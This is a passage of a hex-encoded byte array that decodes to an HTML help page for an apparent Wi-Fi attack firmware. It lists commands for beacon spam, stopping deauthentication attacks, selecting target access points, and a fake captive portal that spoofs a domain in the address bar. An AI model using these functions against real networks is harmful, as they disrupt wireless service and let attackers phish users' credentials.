0x64, 0x65, - 0x3E, 0x6C, 0x69, 0x73, 0x74, 0x20, 0x2D, 0x61, 0x20, 0x7C, 0x20, 0x6C, 0x69, 0x73, 0x74, 0x20, 0x2D, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, - 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x61, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x68, 0x6F, 0x77, 0x20, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x73, 0x20, 0x66, 0x72, 0x6F, 0x6D, - 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x4C, 0x69, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x73, 0x74, 0x61, - 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, - 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x64, 0x69, 0x66, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x6D, 0x6F, - 0x64, 0x65, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, - 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x73, 0x70, 0x61, 0x6D, 0x20, 0x5B, - 0x4F, 0x50, 0x54, 0x49, 0x4F, 0x4E, 0x5D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x72, 0x3C, 0x2F, 0x63, - 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x72, 0x61, 0x6E, 0x64, 0x6F, 0x6D, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x72, 0x72, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, - 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x52, 0x69, 0x63, 0x6B, 0x72, 0x6F, 0x6C, 0x6C, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x6C, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x20, 0x41, 0x50, 0x20, 0x4C, 0x69, 0x73, 0x74, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x5B, 0x53, 0x53, 0x49, 0x44, 0x5D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x55, - 0x73, 0x65, 0x20, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x65, 0x64, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x6F, 0x6E, 0x67, 0x6F, - 0x69, 0x6E, 0x67, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, - 0x73, 0x74, 0x6F, 0x70, 0x73, 0x70, 0x61, 0x6D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x64, 0x65, - 0x61, 0x75, 0x74, 0x68, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x6F, 0x6E, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x6F, 0x70, - 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3C, 0x2F, - 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x61, 0x6E, 0x20, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x20, 0x62, 0x79, 0x20, 0x69, 0x6E, 0x64, 0x65, 0x78, - 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, - 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x2D, 0x61, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, - 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, - 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x61, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x41, 0x50, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x20, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x20, 0x28, 0x6D, 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x61, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x61, 0x72, 0x74, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, - 0x61, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x65, 0x64, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, - 0x64, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, - 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x61, 0x72, 0x74, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x26, 0x6C, - 0x74, 0x3B, 0x55, 0x52, 0x4C, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x53, 0x53, 0x49, 0x44, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x20, - 0x26, 0x6C, 0x74, 0x3B, 0x41, 0x50, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, - 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, 0x3B, 0x55, 0x52, 0x4C, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x55, 0x52, - 0x4C, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, 0x3B, 0x53, 0x53, 0x49, 0x44, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x57, 0x69, 0x2D, - 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, 0x3B, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, - 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x62, 0x72, 0x3E, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, 0x3B, - 0x41, 0x50, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, - 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, 0x3B, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x43, 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x64, 0x6F, 0x6D, 0x61, 0x69, - 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x73, 0x70, 0x6F, 0x6F, 0x66, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x62, 0x61, 0x72, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x65, 0x6D, 0x3E, 0x4F, 0x52, 0x3C, 0x2F, 0x65, 0x6D, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x4F, 0x66, 0x66, 0x6C, - 0x69, 0x6E, 0x65, 0x20, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x61, 0x72, 0x74, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x26, 0x6C, - 0x74, 0x3B, 0x46, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x41, 0x50, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x44, 0x6F, 0x6D, 0x61, 0x69, - 0x6E, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, - 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 